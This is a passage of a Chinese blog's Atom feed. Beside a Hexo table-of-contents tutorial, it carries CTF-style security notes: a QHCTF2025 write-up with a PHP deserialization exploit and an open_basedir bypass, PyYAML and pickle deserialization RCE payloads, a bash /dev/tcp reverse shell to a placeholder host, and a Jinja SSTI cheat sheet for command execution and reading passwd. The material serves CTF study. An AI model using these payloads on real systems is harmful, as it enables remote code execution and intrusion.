    <link href="https://101.43.94.206/2025/01/29/content-toc/"/>
    <id>https://101.43.94.206/2025/01/29/content-toc/</id>
    <published>2025-01-29T11:37:51.000Z</published>
    <updated>2025-03-20T06:57:22.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>已经更换主题了~</p></blockquote><h4 id="没有目录的痛"><a href="#没有目录的痛" class="headerlink" title="没有目录的痛"></a>没有目录的痛</h4><p>&emsp;&emsp;particlex是个好的hexo主题，但是没有自带的目录（。好吧，试试hexo的插件toc，结果就是目录不跟随还丑，好吧，只能手搓了（</p><h4 id="手搓目录"><a href="#手搓目录" class="headerlink" title="手搓目录"></a>手搓目录</h4><p>&emsp;&emsp;首先先把toc插件部署好。这类教程倒是很多，比如<a href="https://blog.csdn.net/gitblog_00108/article/details/141479256">这个</a>，毕竟也是学的别人，就不多说了。<br>&emsp;&emsp;接着就要把这个目录放到需要的页面了。ParticleX是用ejs来渲染每个页面的，那么我们造个toc.ejs放到layout里。我是这么写的:</p><pre><code class="js">&lt;% if (page.toc == true) &#123; %&gt;    &lt;div id=&quot;toc&quot;&gt;        &lt;span class=&quot;icon&quot;&gt;            &lt;i class=&quot;fas fa-stream&quot; id=&quot;ic&quot;&gt;&lt;/i&gt;        &lt;/span&gt;        &lt;span class=&quot;toc_title&quot;&gt;目录&lt;/span&gt;        &lt;%- toc(page.content, &#123;list_number : false&#125;) %&gt;        &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/css/toc.css&quot;&gt;    &lt;/div&gt;&lt;% &#125; %&gt;</code></pre><blockquote><p>上面这段代码不是js,是ejs(下同)。但是写ejs会导致直接渲染成html（</p></blockquote><p>&emsp;&emsp;然后定位到post页面中。把<code>&lt;%- partial(&#39;toc&#39;) %&gt;</code>放到post.ejs。这里我还造了个container_的div块把原本的<code>&lt;div class=&quot;article&quot;&gt;</code>和<code>&lt;%- partial(&#39;toc&#39;) %&gt;</code>包括起来，方便这里用flex布局。</p><pre><code class="js">&lt;div id=&quot;container__&quot;&gt;     &lt;div class=&quot;article&quot;&gt;        ...    &lt;/div&gt;    &lt;%- partial(&#39;toc&#39;) %&gt;&lt;/div&gt;</code></pre><blockquote><p>其实开始试过用grid，总之是一堆问题，浪费了不少时间&#x1F62A;</p></blockquote><p>&emsp;&emsp;接下来就开始搓css吧~最喜欢搓css哩&#x1F917;</p><pre><code class="css">/*toc.css*/.toc_title&#123;    color: rgb(121, 121, 121);    font-weight: bolder;    font-size: 30px;    position: relative;    left: 16px;&#125;#ic&#123;    position: relative;    left: 20px;    font-size: 30px;&#125;#toc&#123;    border-radius: 10px;    background-color: rgba(255, 255, 255, 0.871);    box-shadow: 1px 1px 5px rgb(234, 234, 234);    position: sticky;/*使得目录始终在窗口的固定位置*/    top: 100px;    right: 30px;    overflow: auto;    max-height: 600px;    width: 280px;    min-width: none;    flex-shrink: 100;/*适配窗口宽度小时目录消失*/&#125;.toc-link&#123;    font-size: 16px;    display: block;    min-width: 150px;    margin-top: 0px;    transition: 0.6s;&#125;.toc-link:hover&#123;    color: aqua;    transition: 0.6s;&#125;#toc li&#123;    list-style: none;    margin-top: 2px;    position: relative;    right: 10px;&#125;#toc ol&#123;    list-style: none;    margin-top: 2px;    position: relative;    right: 10px;&#125;#container__&#123;    display: flex;    justify-content: center;&#125;</code></pre><p>&emsp;&emsp;这样终于是搞好了这个目录了，也是又水了一篇博客了&#x1F92D;</p><blockquote><p>感谢~&#x1F970;:</p><ul><li><a href="https://jangin.github.io/2020/03/01/add-catalog-for-hexo-blog">Hexo博客添加文章目录</a></li></ul></blockquote>]]></content>
    
    
    <summary type="html">调教hexo的toc目录的记录喵~</summary>
    
    
    
    <category term="前端" scheme="https://101.43.94.206/categories/%E5%89%8D%E7%AB%AF/"/>
    
    
    <category term="前端" scheme="https://101.43.94.206/tags/%E5%89%8D%E7%AB%AF/"/>
    
  </entry>
  
  <entry>
    <title>WP FOR QHCTF2025</title>
    <link href="https://101.43.94.206/2025/01/29/wpforqhctf2025/"/>
    <id>https://101.43.94.206/2025/01/29/wpforqhctf2025/</id>
    <published>2025-01-29T10:44:50.000Z</published>
    <updated>2025-03-20T06:58:40.000Z</updated>
    
    <content type="html"><![CDATA[<h4 id="easy_include"><a href="#Easy-include" class="headerlink" title="Easy_include"></a>Easy_include</h4><p>&emsp;&emsp;利用php:&#x2F;&#x2F;input伪协议可以绕过waf<br><img src="/2025/01/29/wpforqhctf2025/1.png"></p><h4 id="web_ip"><a href="#Web-IP" class="headerlink" title="Web_IP"></a>Web_IP</h4><p>&emsp;&emsp;通过hint想到确定ip的方法，试试看能不能通过http头伪造，成功，尝试ssti。<code>&#123;&#123;7*7&#125;&#125;</code>成功输出49。尝试<code>&#123;&#123;config&#125;&#125;</code>发现报错，注意到是php写的页面，则可以确认是php的ssti。那么尝试直接rce，成功。<br><img src="/2025/01/29/wpforqhctf2025/2.png"></p><h4 id="web_pop"><a href="#Web-pop" class="headerlink" title="Web_pop"></a>Web_pop</h4><p>&emsp;&emsp;php反序列化，常规题；注意把private和protected属性改为public。<br>&emsp;&emsp;EXP:</p><pre><code class="php">&lt;?phpclass Start&#123;    public $name;    public $func;     // public function __destruct()    // &#123;    //     echo &quot;Welcome to QHCTF 2025, &quot;.$this-&gt;name; //tostring    // &#125;     // public function __isset($var)    // &#123;    //     ($this-&gt;func)(); //invoke    // &#125;&#125; class Sec&#123;    public $obj;    public $var;     // public function __toString()    // &#123;    //     $this-&gt;obj-&gt;check($this-&gt;var); //call     //     return &quot;CTFers&quot;;    // &#125;     // public function __invoke()    // &#123;    //     echo file_get_contents(&#39;/flag&#39;);    // &#125;&#125; class Easy&#123;    public $cla;     // public function __call($fun, $var)     // &#123;    //     $this-&gt;cla = clone $var[0];    // &#125;&#125; class eeee&#123;    public $obj;     // public function __clone()    // &#123;    //     if(isset($this-&gt;obj-&gt;cmd))&#123;    //         echo &quot;success&quot;;    //     &#125;    // &#125;&#125;$a = new Start();$b = new Sec();$c = new Easy();$d = new eeee();$a -&gt; name = $b;$a -&gt; func = $b;$b -&gt; obj = $c;$b -&gt; var = $d;$c -&gt; cla = $d;$d -&gt; obj = $a;echo serialize($a);</code></pre><h4 id="pcremagic"><a href="#PCREMagic" class="headerlink" title="PCREMagic"></a>PCREMagic</h4><p>&emsp;&emsp;phprce(并非)，但是ban了很多很多函数，整了好久。考点是open_basedir的绕过。<br>&emsp;&emsp;本题直接给出了源码，只要上传txt文件(<em>APIfox是真挺好用的</em>)就可以使之解析为php。有个对eval的过滤，感觉意义不明。可以查看phpinfo，发现禁用了一堆函数，没法直接rce了，那就只能找其他法子。<br>&emsp;&emsp;POC:</p><pre><code class="php">&lt;?phpfunction is_php($data)&#123;     return preg_match(&#39;/&lt;\?php.*?eval.*?\(.*?\).*?\?&gt;/is&#39;, $data);&#125; if(empty($_FILES)) &#123;    die(show_source(__FILE__));&#125; $user_dir = &#39;data/&#39; . md5($_SERVER[&#39;REMOTE_ADDR&#39;]);$data = file_get_contents($_FILES[&#39;file&#39;][&#39;tmp_name&#39;]);if (is_php($data)) &#123;    echo &quot;bad request&quot;;&#125; else &#123;    if (!is_dir($user_dir)) &#123;        mkdir($user_dir, 0755, true);    &#125;    $path = $user_dir . &#39;/&#39; . random_int(0, 10) . &#39;.php&#39;;    move_uploaded_file($_FILES[&#39;file&#39;][&#39;tmp_name&#39;], $path);     header(&quot;Location: $path&quot;, true, 303);    exit;&#125;?&gt; </code></pre><p>&emsp;&emsp;利用php中open_basedir的特性，将其设为根目录，用glob()获取目录下文件或目录，再用file_get_contents读取文件内容就行。<br>&emsp;&emsp;EXP:</p><pre><code class="php">&lt;?php        print_r(ini_get(&#39;open_basedir&#39;).&quot;\n&quot;);                mkdir(&#39;test&#39;);        chdir(&#39;test&#39;);        ini_set(&#39;open_basedir&#39;,&#39;..&#39;);        chdir(&#39;..&#39;);        chdir(&#39;..&#39;);        chdir(&#39;..&#39;);        chdir(&#39;..&#39;);        chdir(&#39;..&#39;);        chdir(&#39;..&#39;);        ini_set(&#39;open_basedir&#39;,&#39;/&#39;);                print_r(ini_get(&#39;open_basedir&#39;).&quot;\n&quot;);        echo getcwd() . &quot;\n&quot;;        print_r(glob(&#39;*&#39;));        echo file_get_contents(&#39;flag&#39;);?&gt;</code></pre><img src="/2025/01/29/wpforqhctf2025/4.png"><blockquote><p>参考~&#x1F970;:</p><ul><li><a href="https://blog.csdn.net/Xxy605/article/details/120221577">『CTF Tricks』PHP-绕过open_basedir</a></li></ul></blockquote>]]></content>
    
    
    <summary type="html">启航杯2025的wp喵~</summary>
    
    
    
    <category term="CTF" scheme="https://101.43.94.206/categories/CTF/"/>
    
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
    <category term="WP" scheme="https://101.43.94.206/tags/WP/"/>
    
  </entry>
  
  <entry>
    <title>PY-YAML反序列化</title>
    <link href="https://101.43.94.206/2024/12/25/yaml-unser/"/>
    <id>https://101.43.94.206/2024/12/25/yaml-unser/</id>
    <published>2024-12-25T04:39:18.000Z</published>
    <updated>2025-09-14T10:21:52.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="什么是yaml"><a href="#什么是yaml" class="headerlink" title="什么是yaml?"></a>什么是yaml?</h2><p>&emsp;&emsp;YAML是一种人类可读的数据序列化格式，经常用于配置文件和数据交换。它的设计目标是易于阅读和编写，并且能够被不同编程语言支持的解析器解析。<br>&emsp;&emsp;在学习yaml反序列化漏洞之前，肯定要先学学它的基本语法，这里就不过多赘述了，可以看<a href="https://blog.csdn.net/weixin_50367873/article/details/134009615">这个教程</a><br>&emsp;&emsp;这里要重点注意一下类型转换这部分。漏洞利用用的到的一些yaml和python类型转换如下</p><table blockindex="29">    <thead>        <tr>            <th>YAML</th>            <th>Python</th>        </tr>    </thead>    <tbody>        <tr>            <td>!!python/name:module.name</td>            <td>尝试创建module.name这个Python对象</td>        </tr>        <tr>            <td>!!python/module:package.module</td>            <td>尝试导入package.module这个模块</td>        </tr>        <tr>            <td>!!python/object:module.cls</td>            <td>尝试创建module.cls这个类的实例</td>        </tr>        <tr>            <td>!!python/object/new:module.cls [args]</td>            <td>尝试创建module.cls的实例，并传入args的参数</td>        </tr>        <tr>            <td>!!python/object/apply:module.func [args]</td>            <td>尝试调用module.func，并传入args的参数</td>        </tr>    </tbody></table><h2 id="漏洞成因"><a href="#漏洞成因" class="headerlink" title="漏洞成因"></a>漏洞成因</h2><h4 id="pythonx2fobjectx2fnew-和-pythonx2fobjectx2fapply的实现"><a href="#python-object-new-和-python-object-apply的实现" class="headerlink" title="!!python&#x2F;object&#x2F;new 和 !!python&#x2F;object&#x2F;apply的实现"></a>!!python&#x2F;object&#x2F;new 和 !!python&#x2F;object&#x2F;apply的实现</h4><p>&emsp;&emsp;在constructor.py(也就是默认加载器)中，我们可以找到相应的实现函数</p><blockquote><ul><li>python&#x2F;object&#x2F;apply–&gt;construct_python_object_apply</li><li>python&#x2F;object&#x2F;new–&gt;construct_python_object_new</li></ul></blockquote><pre><code class="python">def construct_python_object_apply(self, suffix, node, newobj=False):        # Format:        #   !!python/object/apply       # (or !!python/object/new)        #   args: [ ... arguments ... ]        #   kwds: &#123; ... keywords ... &#125;        #   state: ... state ...        #   listitems: [ ... listitems ... ]        #   dictitems: &#123; ... dictitems ... &#125;        # or short format:        #   !!python/object/apply [ ... arguments ... ]        # The difference between !!python/object/apply and !!python/object/new        # is how an object is created, check make_python_instance for details.        if isinstance(node, SequenceNode):            # 如果节点为序列类型，则初始化参数、关键字、状态、列表和字典为空            args = self.construct_sequence(node, deep=True)            kwds = &#123;&#125;            state = &#123;&#125;            listitems = []            dictitems = &#123;&#125;        else:             # 如果节点为映射类型，则从值中提取参数、关键字、状态、列表和字典，其实就反应了该类标签所可以接受得参数类型。            value = self.construct_mapping(node, deep=True)            args = value.get(&#39;args&#39;, [])            kwds = value.get(&#39;kwds&#39;, &#123;&#125;)            state = value.get(&#39;state&#39;, &#123;&#125;)            listitems = value.get(&#39;listitems&#39;, [])            dictitems = value.get(&#39;dictitems&#39;, &#123;&#125;)        instance = self.make_python_instance(suffix, node, args, kwds, newobj)        #如果存在创建 Python 对象实例        if state:            self.set_python_instance_state(instance, state)        if listitems:            instance.extend(listitems)        if dictitems:            for key in dictitems:                instance[key] = dictitems[key]        return instance    def construct_python_object_new(self, suffix, node):        return self.construct_python_object_apply(suffix, node, newobj=True)        # 可以看到python/object/new和python/object/apply实质上差别并不大</code></pre><p>&emsp;&emsp;发现make_python_instance这个函数，跟进一下</p><pre><code class="python">def make_python_instance(self, suffix, node,            args=None, kwds=None, newobj=False):        if not args:            args = []        if not kwds:            kwds = &#123;&#125;        cls = self.find_python_name(suffix, node.start_mark)        if newobj and isinstance(cls, type):            return cls.__new__(cls, *args, **kwds)        else:            return cls(*args, **kwds)</code></pre><p>&emsp;&emsp;接着还得看看find_python_name这个函数</p><pre><code class="python">def find_python_name(self, name, mark):        if not name:            raise ConstructorError(&quot;while constructing a Python object&quot;, mark,                    &quot;expected non-empty name appended to the tag&quot;, mark)        if &#39;.&#39; in name:            module_name, object_name = name.rsplit(&#39;.&#39;, 1)        else:            module_name = &#39;builtins&#39;            object_name = name        try:            __import__(module_name)        except ImportError as exc:            raise ConstructorError(&quot;while constructing a Python object&quot;, mark,                    &quot;cannot find module %r (%s)&quot; % (module_name, exc), mark)        module = sys.modules[module_name]        if not hasattr(module, object_name):            raise ConstructorError(&quot;while constructing a Python object&quot;, mark,                    &quot;cannot find %r in the module %r&quot;                    % (object_name, module.__name__), mark)        return getattr(module, object_name)</code></pre><p>&emsp;&emsp;总结一下，当我们执行<span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">yaml.load(‘!!python&#x2F;object&#x2F;apply:os.system [“whoami”]’)</span>这串代码时，是这么个流程:</p><ul><li>调用<strong>construct_python_object_apply</strong>函数</li><li>随之调用<strong>make_python_instance</strong>函数</li><li>随之调用<strong>find_python_name</strong>函数</li><li>name存在并且有”.”，分开os和system，尝试导入os，将module设定为os，判定os是否存在system属性，存在，返回getattr(module, object_name)</li><li>getattr(module, object_name)也就是os.system函数，由于是!!python&#x2F;object&#x2F;apply调用所以newobj&#x3D;Flase，则调用cls(*args, **kwds)，即os.system(“whoami”)</li></ul><h4 id="pythonx2fmodule的实现"><a href="#python-module的实现" class="headerlink" title="!!python&#x2F;module的实现"></a>!!python&#x2F;module的实现</h4><p>&emsp;&emsp;该标签对应的函数是construct_python_module</p><pre><code class="python">def construct_python_module(self, suffix, node):        value = self.construct_scalar(node)        if value:            raise ConstructorError(&quot;while constructing a Python module&quot;, node.start_mark,                    &quot;expected the empty value, but found %r&quot; % value, node.start_mark)        return self.find_python_module(suffix, node.start_mark)</code></pre><p>&emsp;&emsp;跟进find_python_module函数</p><pre><code class="python">def find_python_module(self, name, mark):        if not name:            raise ConstructorError(&quot;while constructing a Python module&quot;, mark,                    &quot;expected non-empty name appended to the tag&quot;, mark)        try:            __import__(name)        except ImportError as exc:            raise ConstructorError(&quot;while constructing a Python module&quot;, mark,                    &quot;cannot find module %r (%s)&quot; % (name, exc), mark)        return sys.modules[name]</code></pre><p>&emsp;&emsp;可以发现这里并没有可以执行指令的地方，只是导入了指定的模块。但也存在利用价值，放到后文讨论</p><h4 id="pythonx2fname的实现"><a href="#python-name的实现" class="headerlink" title="!!python&#x2F;name的实现"></a>!!python&#x2F;name的实现</h4><p>&emsp;&emsp;该标签对应的函数时construct_python_name</p><pre><code class="python">def construct_python_name(self, suffix, node):        value = self.construct_scalar(node)        if value:            raise ConstructorError(&quot;while constructing a Python name&quot;, node.start_mark,                    &quot;expected the empty value, but found %r&quot; % value, node.start_mark)        return self.find_python_name(suffix, node.start_mark)</code></pre><p>&emsp;&emsp;可见其调用了find_python_name，这个函数之前已经解释过了。最终是返回了module中的name。</p><h3 id="对于pyyaml模块版本lt51的漏洞利用手法"><a href="#对于PyYAML模块版本" class="headerlink" title="对于PyYAML模块版本&lt;5.1的漏洞利用手法"></a>对于PyYAML模块版本&lt;5.1的漏洞利用手法</h3><pre><code class="python">yaml.load(data,Loader=) #加载单个YAML配置yaml.load_all(data) # 加载多个YAML配置</code></pre><p>&emsp;&emsp;这些版本的加载器默认为Constructor，并不安全。</p><h4 id="pythonx2fobjectx2fnew-和-pythonx2fobjectx2fapply的利用"><a href="#python-object-new-和-python-object-apply的利用" class="headerlink" title="!!python&#x2F;object&#x2F;new 和 !!python&#x2F;object&#x2F;apply的利用"></a>!!python&#x2F;object&#x2F;new 和 !!python&#x2F;object&#x2F;apply的利用</h4><pre><code class="python">yaml.load(&quot;&quot;&quot;!!python/object/apply:os.system- whoami&quot;&quot;&quot;)# 这样就可以达到调用os.system执行whoami命令。yaml.load(&quot;&quot;&quot;!!python/object/apply:os.system- bash -c &quot;bash -i &gt;&amp; /dev/tcp/Target_IP/Target_Port 0&gt;&amp;1&quot;&quot;&quot;&quot;)# 这样就可以达到反弹shell的目的</code></pre><h4 id="pythonx2fmodule的利用"><a href="#python-module的利用" class="headerlink" title="!!python&#x2F;module的利用"></a>!!python&#x2F;module的利用</h4><p>&emsp;&emsp;如果我们知道某个恶意python文件在服务器上的路径，或者能够上传这样的文件，那么我们就可以利用!!python&#x2F;module将它以module的形式导入到当前文件<br>&emsp;&emsp;例如:</p><pre><code class="python"># exp.pyimport osos.system(&#39;whoami&#39;)</code></pre><p>那么<span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">yaml.load(‘!!python&#x2F;module:upload.exp’)</span>这段语句就可以间接做到rce的作用。</p><h4 id="pythonx2fname的利用"><a href="#python-name的利用" class="headerlink" title="!!python&#x2F;name的利用"></a>!!python&#x2F;name的利用</h4><p>&emsp;&emsp;首先给出一个例子:</p><pre><code class="python">import yamlkey= &quot;114514&quot;b= yaml.load(&#39;!!python/name:__main__.key&#39; )if b == key:    print(&quot;ikun&quot;)else:    print(&quot;you are not ikun&quot;)</code></pre><p>&emsp;&emsp;我们可以这样来绕过条件判断。当key未知或者不可预测时，也可以这样过条件判断。当然利用方法不止这些，应用总是灵活的。</p><h3 id="对于pyyaml模块版本gtx3d51的漏洞利用手法"><a href="#对于PyYAML模块版本-5-1的漏洞利用手法" class="headerlink" title="对于PyYAML模块版本&gt;&#x3D;5.1的漏洞利用手法"></a>对于PyYAML模块版本&gt;&#x3D;5.1的漏洞利用手法</h3><p>&emsp;&emsp;在PyYaml&gt;&#x3D;5.1的版本中,find_python_name方法添加了unsafe&#x3D;False导致我们不能直接通过__import__来引入模块。并且在PyYAML&gt;&#x3D;5.1版本中,将默认加载器调整为FullConstructor，加载的模块必须位于sys.modules中(说明程序已经 import 过了才让加载)才能够加载成功。<br>&emsp;&emsp;如果没有对于加载器选择的过滤，可以直接变更加载器，然后和之前的操作一样:</p><pre><code class="python">yaml.unsafe_load(paylaod)yaml.load(payload,Loader=UnsafeLoader)</code></pre><p>&emsp;&emsp;当然这基本没有可能性，所以还是另寻出路吧。<br>&emsp;&emsp;Fullconstructor中的find_python_name函数:</p><pre><code class="python">def find_python_name(self, name, mark, unsafe=False):        if not name:            raise ConstructorError(&quot;while constructing a Python object&quot;, mark,                    &quot;expected non-empty name appended to the tag&quot;, mark)        if &#39;.&#39; in name:            module_name, object_name = name.rsplit(&#39;.&#39;, 1)        else:            module_name = &#39;builtins&#39;            object_name = name        if unsafe:            try:                __import__(module_name)            except ImportError as exc:                raise ConstructorError(&quot;while constructing a Python object&quot;, mark,                        &quot;cannot find module %r (%s)&quot; % (module_name, exc), mark)        if module_name not in sys.modules:            raise ConstructorError(&quot;while constructing a Python object&quot;, mark,                    &quot;module %r is not imported&quot; % module_name, mark)        module = sys.modules[module_name]        if not hasattr(module, object_name):            raise ConstructorError(&quot;while constructing a Python object&quot;, mark,                    &quot;cannot find %r in the module %r&quot;                    % (object_name, module.__name__), mark)        return getattr(module, object_name)</code></pre><p>&emsp;&emsp;我们可以发现在unsafe为false的时候是无法导入新的模块的，但是我们可以利用builtins进行一些操作<br>&emsp;&emsp;例子:</p><pre><code class="python">yaml.load(&quot;&quot;&quot;!!python/object/new:tuple- !!python/object/new:map  - !!python/name:eval  - [&quot;__import__(&#39;os&#39;).system(&#39;whoami&#39;)&quot;] &quot;&quot;&quot;)</code></pre><p>&emsp;&emsp;创建一个tuple对象，在这之中创建一个map对象，map的参数就是之后的<span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">!!python&#x2F;name:eval</span>和<span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">[“<strong>import</strong>(‘os’).system(‘whoami’)”]</span><br>&emsp;&emsp;这里使用tuple也是有其意义的，但是在这里解释有些冗长，详见文末参考~</p><h4 id="更高级的利用方法"><a href="#更高级的利用方法" class="headerlink" title="更高级的利用方法"></a>更高级的利用方法</h4><p>&emsp;&emsp;在construct_python_object_apply这个函数中，我们可以看到</p><pre><code class="python">if listitems:   instance.extend(listitems)</code></pre><p>&emsp;&emsp;我们可以新建一个type对象，将它的extend属性令为”!!python&#x2F;name:exec”,再在加上一个listitems,就可以执行listitems中的命令了</p><pre><code class="python">payload = &#39;&#39;&#39;!!python/object/new:typeargs:  - exp  - !!python/tuple []  - &#123;&quot;extend&quot;: !!python/name:exec &#125;listitems: &quot;__import__(&#39;os&#39;).system(&#39;whoami&#39;)&quot;&#39;&#39;&#39;yaml.load(payload)</code></pre><p>&emsp;&emsp;利用state也可以做到一种攻击，首先看看set_python_instance_state函数</p><pre><code class="python">def set_python_instance_state(self, instance, state, unsafe=False):        if hasattr(instance, &#39;__setstate__&#39;):            instance.__setstate__(state)        else:            slotstate = &#123;&#125;            if isinstance(state, tuple) and len(state) == 2:                state, slotstate = state            if hasattr(instance, &#39;__dict__&#39;):                if not unsafe and state:                    for key in state.keys():                        self.check_state_key(key)                instance.__dict__.update(state)            elif state:                slotstate.update(state)            for key, value in slotstate.items():                if not unsafe:                    self.check_state_key(key)                setattr(instance, key, value)</code></pre><p>&emsp;&emsp;下面给出一个用例:</p><pre><code class="python">payload = &quot;&quot;&quot;- !!python/object/new:str    args: []    state: !!python/tuple    - &quot;__import__(&#39;os&#39;).system(&#39;whoami&#39;)&quot;    - !!python/object/new:staticmethod      args: [0]      state:        update: !!python/name:exec&quot;&quot;&quot;yaml.load(payload)</code></pre><p>&emsp;&emsp;攻击流程如下:</p><ul><li>创建str对象并且不给参数，这主要是个套子的作用，是为了设定其state为!!python&#x2F;tuple</li><li>观察set_python_instance_state函数，<pre><code class="python">if isinstance(state, tuple) and len(state) == 2:                state, slotstate = state</code></pre>  在现在的情况下，state就是<pre><code>&quot;__import__(&#39;os&#39;).system(&#39;whoami&#39;)&quot;</code></pre>  而slotstate就是<pre><code>!!python/object/new:staticmethod  args: [0]  state:    update: !!python/name:exec</code></pre></li><li>slotstate经过处理后，其update属性就成为了exec</li><li>再执行slotstate.update(state)，其实就是exec(state)</li></ul><blockquote><p>参考~&#x1F970;:</p><ul><li><a href="https://forum.butian.net/share/2288">PyYaml反序列化漏洞</a></li><li><a href="https://github.com/yaml/pyyaml/blob/main/lib/yaml/constructor.py">PyYaml源码</a></li></ul></blockquote>]]></content>
    
    
    <summary type="html">python的YAML反序列化的学习笔记喵~</summary>
    
    
    
    <category term="CTF" scheme="https://101.43.94.206/categories/CTF/"/>
    
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
    <category term="Py" scheme="https://101.43.94.206/tags/Py/"/>
    
  </entry>
  
  <entry>
    <title>pickle反序列化</title>
    <link href="https://101.43.94.206/2024/12/04/pickle-1/"/>
    <id>https://101.43.94.206/2024/12/04/pickle-1/</id>
    <published>2024-12-04T08:13:27.000Z</published>
    <updated>2025-03-20T06:58:06.000Z</updated>
    
    <content type="html"><![CDATA[<h3 id="什么是pickle"><a href="#什么是pickle" class="headerlink" title="什么是pickle?"></a>什么是pickle?</h3><p>&emsp;&emsp;pickle是python的序列化工具，可以将python对象序列化为字节流，然后再反序列化为python对象。当然，其中的原理还是比较复杂的，具体可以看看<a href="https://zhuanlan.zhihu.com/p/89132768">这篇文章</a>，写的还是非常详细滴~<br>&emsp;&emsp;这里主要记一下怎么利用这里存在的漏洞喵~</p><h3 id="pickle和__reduce__方法"><a href="#pickle和-reduce-方法" class="headerlink" title="pickle和__reduce__方法"></a>pickle和__reduce__方法</h3><p>&emsp;&emsp;python中类的__reduce__方法，在pickle反序列化的时候会被执行。它应当返回字符串或者一个元组，这里主要考虑返回元组的状况。<br>&emsp;&emsp;下例:</p><pre><code class="python">class PickleRCE(object):    def __reduce__(self):        import subprocess        return (subprocess.getoutput,(command,)) #也可以是(map,(subprocess.getoutput,command))</code></pre><p>&emsp;&emsp;这里返回一个二元组，第一个元素是某个对象，而第二个参数也是一个元组，是我们希望传输给首个元素这个对象的参数。像这个例子，相当于是调用了subprocess.getoutput(command),即用子进程执行命令command。<br>&emsp;&emsp;这时我们将其序列化，在存在反序列化漏洞的站点上传这串序列化字符串，就能达到rce的效果。这就是比较经典的pickle反序列化漏洞的利用手法。</p>]]></content>
    
    
    <summary type="html">pickle反序列化的学习笔记喵~</summary>
    
    
    
    <category term="CTF" scheme="https://101.43.94.206/categories/CTF/"/>
    
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
    <category term="Py" scheme="https://101.43.94.206/tags/Py/"/>
    
  </entry>
  
  <entry>
    <title>Python-ssti</title>
    <link href="https://101.43.94.206/2024/11/27/py-ssti/"/>
    <id>https://101.43.94.206/2024/11/27/py-ssti/</id>
    <published>2024-11-27T09:57:03.000Z</published>
    <updated>2025-03-20T06:58:12.000Z</updated>
    
    <content type="html"><![CDATA[<h3 id="py的内置属性模块等"><a href="#py的内置属性-模块等" class="headerlink" title="py的内置属性,模块等"></a>py的内置属性,模块等</h3><ul><li><span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">__base__</span>:类对象的属性,返回当前类的<font color="#ff9f9f"><strong>直接父类字符串</strong></font>。可以用来获取Object类。</li><li><span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">__bases__</span>:类对象的属性,返回当前类的<font color="#ff9f9f"><strong>直接父类元组</strong></font>。可以用来获取Object类。</li><li><span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">__mro__</span>:类对象的属性，返回一个元组，存有类的“方法解析顺序”，可以简单的理解成这个类构造的链（类比js原型链）。可以用来获取Object类。</li><li><span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">__subclasses__()</span>:类对象的属性,返回当前类的所有<font color="#ff9f9f"><strong>直接子类</strong></font>列表。可以用来获取可利用的类。</li><li><span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">__class__</span>:各种对象的属性,返回它的所属类。可以用来连接到类对象，方便后续操作。</li><li><span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">__init__</span>:类对象都有的函数（初始化函数）。可以用来间接获取__globals__。</li><li><span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">__globals__</span>:函数的属性，返回当前函数所处空间下可使用的module、方法以及所有变量。可以用来获取可利用的类(如os)。</li><li><span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">__dict__</span>:类对象或类实例的属性,查看对象内部所有属性名和属性值组成的字典。可以用来获取可利用的类。</li><li><span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">__builtins__</span>:内建模块，用于定义内建命名空间，使得我们可以使用内建命名空间中定义的函数。可以利用这个模块导入一些模块到内建命名空间中加以利用(如os)</li><li><span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">__import__</span>:魔术方法，用于导入模块，常配合<span style="background:#efefef;border: 0.01rem solid;border-radius: 2px;border-color:#dfdfdf;">__builtins__</span>导入os模块</li></ul><h3 id="常用通用类及语句"><a href="#常用通用类及语句" class="headerlink" title="常用通用类及语句"></a>常用通用类及语句</h3><ul><li>利用warnings.catch_warnings配合__builtins__得到eval函数借此进行rce</li></ul><pre><code class="python"># 注意__subclasss__的元素索引需要根据实际修改&#123;&#123;[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__']['__import__']('os').popen('ls /').read()&#125;&#125; </code></pre><ul><li>利用os._wrap_close类所属空间下可用的popen函数进行RCE</li></ul><pre><code class="python">&#123;&#123;"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()&#125;&#125;&#123;&#123;"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()&#125;&#125;</code></pre><ul><li>利用subprocess.Popen类进行RCE的payload</li></ul><pre><code class="python">&#123;&#123;''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()&#125;&#125;</code></pre><ul><li>利用__import__导入os模块进行利用</li></ul><pre><code class="python">&#123;&#123;"".__class__.__bases__.__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()&#125;&#125;</code></pre><ul><li>利用linecache类所属空间下可用的os模块进行RCE的payload</li></ul><pre><code class="python">&#123;&#123;"".__class__.__bases__.__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()&#125;&#125;</code></pre><ul><li>利用file类（仅python2可用）进行文件读入</li></ul><pre><code class="python">&#123;&#123;[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()&#125;&#125;</code></pre><ul><li>通用getshell，都是通过__builtins__调用eval进行代码执行</li></ul><pre><code class="python">&#123;% for c in [].__class__.__base__.__subclasses__() %&#125;&#123;% if 